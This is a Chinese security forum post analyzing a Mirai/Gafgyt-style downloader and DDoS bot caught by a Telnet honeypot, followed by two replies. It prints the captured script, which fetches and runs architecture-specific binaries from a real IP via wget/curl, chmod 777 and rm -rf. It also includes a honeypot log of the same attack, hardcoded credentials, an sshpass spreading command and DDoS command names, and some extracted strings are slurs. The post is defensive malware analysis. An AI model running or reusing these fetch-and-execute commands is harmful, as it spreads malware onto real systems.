首页
社区
课程
招聘
[原创]记录蜜罐捕获到的一个样本分析
2024-6-10 22:59 2303

[原创]记录蜜罐捕获到的一个样本分析

2024-6-10 22:59
2303

记录蜜罐捕获到的一个样本分析

今天晚上一看,已经有18个样本被蜜罐捕获(高交互Telnet蜜罐)了,主要就是这个样本:

屏幕截图 2024-06-08 223219.png

文件HASH如下:

MD5:f42a6178e5da4e16254ecbdec5ca376a

SHA-1:51ad642c254d762e3c775678aa17e28601b57866

SHA-256:a093105ec49c25547511780526165a00e0d8964bd622ed2127982908379f198e

上传至virustotal检测,62报23

Untitled

接下来我们对攻击IP进行溯源分析,威胁情报查询如下:

Untitled

访问该IP(是一个Apache安装成功的测试页):

Untitled

接下来继续着眼于该样本,由于是一个文本文件,我们提取文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#母样本内容如下:
cd /tmp; wget http://178.215.236.209/M; chmod 777 M; ./M; rm -rf M
cd /tmp; wget http://178.215.236.209/MS; chmod 777 MS; ./MS; rm -rf MS
cd /tmp; wget http://178.215.236.209/SH; chmod 777 SH; ./SH; rm -rf SH
cd /tmp; wget http://178.215.236.209/x86; chmod 777 x86; ./x86; rm -rf x86
cd /tmp; wget http://178.215.236.209/A6; chmod 777 A6; ./A6; rm -rf A6
cd /tmp; wget http://178.215.236.209/I6; chmod 777 I6; ./I6; rm -rf I6
cd /tmp; wget http://178.215.236.209/PPC; chmod 777 PPC; ./PPC; rm -rf PPC
cd /tmp; wget http://178.215.236.209/I5; chmod 777 I5; ./I5; rm -rf I5
cd /tmp; wget http://178.215.236.209/M68; chmod 777 M68; ./M68; rm -rf M68
cd /tmp; wget http://178.215.236.209/A5; chmod 777 A5; ./A5; rm -rf A5
cd /tmp; wget http://178.215.236.209/PPC-440; chmod 777 PPC-440; ./PPC-440; rm -rf PPC-440
cd /tmp; wget http://178.215.236.209/A4-TL; chmod 777 A4-TL; ./A4-TL; rm -rf A4-TL
cd /tmp; wget http://178.215.236.209/I4; chmod 777 I4; ./I4; rm -rf I4
cd /tmp; wget http://178.215.236.209/M64; chmod 777 M64; ./M64; rm -rf M64

不难看出,该样本只是一个下载器,用于下载178.215.236.209 下的一些文件到/tmp目录,并通过chmod 777 命令修改文件可执行权限,并运行下载的这些样本 ./文件 ,并且在子样本运行结束后删除样本,清理痕迹。

接下来我们对该IP进行威胁情报查询,结果如下:

Untitled

发现该IP一直存在通过恶意软件进行攻击的行为。并获取到了其攻击payload:

178.215.236.209的攻击Payload信息:
渗透攻击行为:传播恶意木马
攻击Payload信息详情:["["sh","cd /tmp || wget http://178.215.236.209/zatoempire.sh; curl -O http://178.215.236.209/zatoempire.sh; chmod 777 zatoempire.sh; sh zatoempire.sh; rm -rf *.sh"]"]

不难看出,其大概率通过此payload将样本上传至蜜罐的。去蜜罐验证一下,找到该IP的攻击记录:

Untitled

该IP的请求包如下:

1
2
3
4
5
New connection: 188.166.242.49:41462 (172.30.51.1:23) [session: a8c9cd97e13a]
login attempt [root/root] succeeded
sh
cd /tmp; wget http://178.215.236.209/bins.sh || curl -O http://178.215.236.209/bins.sh && chmod 777 bins.sh && ./bins.sh; rm -rf *
Connection lost after 17 seconds

手法基本相似,样本文件名被修改了,威胁情报的http://178.215.236.209/zatoempire.sh 现已无法访问。

到目前我们可以得到该攻击的基本信息如下:

<aside>
攻击IP : 188.166.242.49

攻击Payload :cd /tmp; wget http://178.215.236.209/bins.sh || curl -O http://178.215.236.209/bins.sh && chmod 777 bins.sh && ./bins.sh; rm -rf *

样本文件名 :bins.sh

样本HASH: f42a6178e5da4e16254ecbdec5ca376a(MD5)

样本源IP : 178.215.236.209

样本类型 : shell文件

样本威胁类型 :下载器

</aside>

接下来我们需要对这些子样本进行分析,修改母样本,使其将所有子样本下载到虚拟机,但不运行,这里我们使用Ubuntu 14虚拟机进行分析,先下载子样本,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wget http://178.215.236.209/M
wget http://178.215.236.209/MS
wget http://178.215.236.209/SH
wget http://178.215.236.209/x86
wget http://178.215.236.209/A6
wget http://178.215.236.209/I6
wget http://178.215.236.209/PPC
wget http://178.215.236.209/I5
wget http://178.215.236.209/M68
wget http://178.215.236.209/A5
wget http://178.215.236.209/PPC-440
wget http://178.215.236.209/A4-TL
wget http://178.215.236.209/I4
wget http://178.215.236.209/M64

运行,得到如下样本:

Untitled

我们先计算他们的MD5,防止为同一样本重复分析,结果如下:

1
2
3
4
5
6
7
8
9
10
14aaf85927e45d55a659b2fbcdaa25ee  ./SH
4a1ce3d39485183d9774184f2c45597f  ./A6
b26f2bf0d3ea22871eafd9389d3fcbfe  ./A5
e48a1c33bdf89c8f6d3f5ab2f0b7f966  ./MS
607de5ff2efe197870820df3d0b35da5  ./PPC
27eb53d8f4be08df86e22fa968058c2f  ./I5
d1e0689d859c56f51948ad3260867f67  ./M68
1217dc6c3803a139b17c625b571aa83f  ./I6
f11eb803b87acb02ba64c4d028e29f96  ./M
3b6b23f77f9d1975499fb63421ba3cf8  ./x86

接下来,我们看看A5样本:

<1> 静态分析 A5样本

先通过strings命令提取样本二进制数据中可打印的字符串:

strings ./A5 >> A5-strings.txt

得到了非常多的内容(8643条):

Untitled

筛选有用的信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root
Hax0r@1337
ssh_server_ip
/root/
sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'
 
dayzddos.co runs you if you read this lol then you tcp dumped it because it hit you and you need to patch it lololololol
 
%s %s HTTP/1.1
Host: %s
User-Agent: %s
Connection: close
%s /cdn-cgi/l/chk_captcha HTTP/1.1
 
Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
 
jay is a faggot
add illuminate#0038 for gay sex
Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
 
Failed opening raw socket.
 
Failed setting raw headers mode.
 
DOMINATE Flooding %s for %d seconds.
...

同时我们发现其中有大量user-agent信息,并且存在DOMINATE Flooding %s for %d seconds. 字符串,判断其可能用于DDOS攻击,结合分析,判断其可能是一个蠕虫程序,通过爆破ssh进行传染:sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s' ,爆破成功后上传样本用于DDOS攻击,这里运行了一个名为udp.py的python脚本,具体内容还不清。在并且内部出现了大量关于网络通信的字符串,可以判定其主要行为为网络通信。

让火绒查杀一下:

Untitled

报的Trojan/Linux.DDos.h和猜测的基本吻合。

用IDA -PRO分析一下(有点复杂)看到其中一个函数名为processCmd ,其中调用了大量atolstrcoll函数进行字符串判断:

Untitled

Untitled

屏幕截图 2024-06-09 093007.png

Untitled

发现网址www.manoramaonline.com 情报判定为白名单,访问是一个新闻网站

2)接下来看看SendDOMINATE 函数:

Untitled

Untitled

这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击

这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击

这里面的调用的两个函数比较有意思,第一个是sockprintf,一个是SendDOMINATE

1)先看sockprintf ,函数比较简单,看看调用流程:

1
2
3
4
5
6
7
malloc
memset
print
strlen
strlen
send
free

不难看出,它将拼接好的DOMINATE Flooding %s for %d seconds. 字符串输出并通过send 函数发送出去了

SendDOMINATE 函数中调用了一个名为getRandomIP 的函数,貌似是随机生成IP并制作一份IP报文发送

静态分析就先分析到这里吧,下面是可能用到的一些控制命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
TCP 
UDP 
VSE 
HTTP-KO 
CF-KILL 
NULL-CF 
STD 
HTTPS-KTN 
OVH-STORM 
NFO-COM 
HYDRA-KILL
HIPER-OVH 
KILLALLV3 
HOME-DOWN 
UDPRAW 
NFO-KTN 
RANDHEX 
XTDV2 
DOMINATE 
OVH-PACKET
DNS 
HOLD 
R6-DROP 
R6-LAG 
GTAV 
CSGO 
TF2 
STOP 

<2> 动态分析 A5样本

动态分析时发生问题,格式不匹配,无法运行:

Untitled

上传到云沙箱也没法获取更多的信息了:

Untitled

Untitled

也就只能分析到这了,出现的这些问题还得求教大佬们了


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
打赏
分享
最新回复 (2)
雪    币: 3039
活跃值: (282)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
杀丶戮 2024-6-15 10:27
2
0
看起来这些样本都是根据架构命名的,LZ可以试试分析下x86的那个文件,估计能跑起来
雪    币: 243
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
MysticEcho 2024-6-16 23:24
3
0

嗯嗯,发现了,目前还在分析,感谢

最后于 2024-6-16 23:25 被MysticEcho编辑 ,原因:
游客
登录 | 注册 方可回帖
返回